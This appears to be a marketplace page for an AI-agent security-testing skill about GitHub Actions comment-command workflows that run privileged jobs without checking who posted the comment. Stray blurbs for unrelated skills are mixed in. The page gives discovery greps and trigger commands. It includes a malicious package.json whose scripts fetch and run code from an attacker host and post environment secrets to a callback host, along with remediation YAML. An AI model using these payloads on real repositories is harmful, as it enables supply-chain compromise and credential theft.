From meta
Use when hunting CI/CD bot comment command vulnerabilities where issue_comment or pull_request_review_comment triggers invoke privileged workflows without verifying the commenter's identity or authorization. Trigger on: "bot command injection", "issue_comment trigger", "@github-actions", "slash command CI", "CI bot command", "comment triggered workflow", "unauthenticated bot", "github-actions publish", "comment dispatch", no authorization check on workflow_dispatch from comment, chatops CI/CD, supply chain via PR comment.
npx claudepluginhub securityfortech/hacking-skills --plugin metaThis skill uses the workspace's default tool permissions.
Some repositories implement "ChatOps" patterns where maintainers post special comments
Guides Next.js Cache Components and Partial Prerendering (PPR) with cacheComponents enabled. Implements 'use cache', cacheLife(), cacheTag(), revalidateTag(), static/dynamic optimization, and cache debugging.
Guides building MCP servers enabling LLMs to interact with external services via tools. Covers best practices, TypeScript/Node (MCP SDK), Python (FastMCP).
Generates original PNG/PDF visual art via design philosophy manifestos for posters, graphics, and static designs on user request.
Some repositories implement "ChatOps" patterns where maintainers post special comments
(e.g., @bot publish, /deploy staging) to trigger CI/CD workflows. The issue_comment
and pull_request_review_comment triggers run in the base repository context with access
to secrets. When the workflow fails to verify that the commenter is an authorized maintainer
before checking out and running PR code, any repository contributor (or in public repos,
anyone) can trigger privileged jobs — including those that publish packages, deploy to
production, or access sensitive tokens.
on: issue_comment or on: pull_request_review_comment triggergithub.event.comment.body for a command string (e.g., contains(..., 'publish'))github.actor membership check against an allowlist or teamNPM_TOKEN, AWS_*, deploy keys) accessible in the triggered jobuses: ./.github/workflows/cmd-*.yml pattern — bot delegates to another reusable workflow that has secretsissue_comment and pull_request_review_comment triggers:
grep -rln 'issue_comment\|pull_request_review_comment' .github/workflows/
grep -A10 'issue_comment' .github/workflows/WORKFLOW.yml | grep 'contains\|startsWith\|body'
grep 'github.actor\|team\|collaborator\|permission' .github/workflows/WORKFLOW.yml
# Trigger a vulnerable bot command (GraphQL-JS pattern)
gh pr comment PR_NUMBER --body "@github-actions publish-pr-on-npm"
# Generic slash command
gh issue comment ISSUE_NUMBER --body "/deploy production"
gh pr comment PR_NUMBER --body "/publish canary"
gh pr comment PR_NUMBER --body "@bot release"
# Find the exact command string from workflow file
grep -r 'contains.*comment.*body\|startsWith.*comment.*body' .github/workflows/
// Malicious package.json in PR branch — runs when bot triggers npm build
{
"scripts": {
"build": "node legit-build.js && curl -sSfL https://ATTACKER/r.js | node",
"preinstall": "curl -d @/proc/self/environ https://CALLBACK"
}
}
# Check if environment has protection rules (zero rules = secrets freely available)
gh api repos/ORG/REPO/environments/ENV_NAME | jq '.protection_rules'
# Empty array = no required reviewers = secrets accessible to any triggered job
contains(github.event.comment.body, '/publish') without also verifying github.actor is a maintainer, any user can trigger itgithub.actor == 'dependabot[bot]' — if the real bot account is also allowed, look for ways to impersonate naming patternssecrets: inherit or explicit secrets: block — check if the reusable workflow has weaker authorizationScenario 1 — NPM canary token via comment command (GraphQL-JS pattern)
Setup: issue_comment workflow triggers on @github-actions publish-pr-on-npm, no actor authorization check. Workflow checks out PR merge commit, runs npm run build:npm, then publishes with NPM_CANARY_PR_PUBLISH_TOKEN in a zero-protection environment.
Trigger: Attacker opens PR with malicious build:npm script, posts @github-actions publish-pr-on-npm comment.
Impact: Build job executes attacker code → poisons cache → publish job restores poisoned cache → NPM_CANARY_PR_PUBLISH_TOKEN exfiltrated. Attacker can publish malicious canary versions affecting downstream consumers (Apollo, Relay).
Scenario 2 — Deploy key exposure via slash command
Setup: Repository uses /deploy staging comment to trigger deployment workflow. No check that commenter is a maintainer. Deployment workflow has AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY.
Trigger: Attacker (with read access to repo) posts /deploy staging on any open PR.
Impact: Deployment workflow runs with attacker's PR code in staging environment — arbitrary code execution with AWS credentials.
Scenario 3 — Secrets via zero-protection environment
Setup: Bot workflow triggers on comment, passes secrets to reusable workflow via secrets: inherit. The reusable workflow uses environment: production which has zero protection rules.
Trigger: Attacker triggers the comment command.
Impact: Production secrets accessible to the job without any manual approval step — attacker receives full production credentials.
github.actor against a hardcoded allowlist or org team membership before proceeding{} or only pull-requests: write)# WRONG: no actor authorization check
on:
issue_comment:
types: [created]
jobs:
publish:
if: contains(github.event.comment.body, '@bot publish')
steps:
- run: npm publish
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
# CORRECT: verify commenter is a repo collaborator with write access
jobs:
check-permission:
runs-on: ubuntu-latest
outputs:
allowed: ${{ steps.check.outputs.result }}
steps:
- id: check
uses: actions/github-script@v7
with:
script: |
const { data } = await github.rest.repos.getCollaboratorPermissionLevel({
owner: context.repo.owner,
repo: context.repo.repo,
username: context.actor
});
return ['admin', 'write'].includes(data.permission);
publish:
needs: check-permission
if: needs.check-permission.outputs.allowed == 'true'
github.actor has write/maintain/admin permission before running privileged jobs triggered by commentsenvironments: with required reviewers for any job that accesses publish or deploy secretsworkflow_dispatch with explicit input validation over comment-triggered commands[[github-actions-script-injection]] shares the same root cause: untrusted user-supplied input (a comment body vs. a branch name) reaches a shell execution context without sanitization. Once a bot command triggers a build of attacker-controlled PR code, the exploit path continues into [[pwn-request]] territory — preinstall scripts in the checked-out package.json run with workflow permissions. A zero-protection environment accessed via bot command can also be reached via [[github-actions-cache-poisoning]] if the bot workflow shares a cache key with a privileged workflow.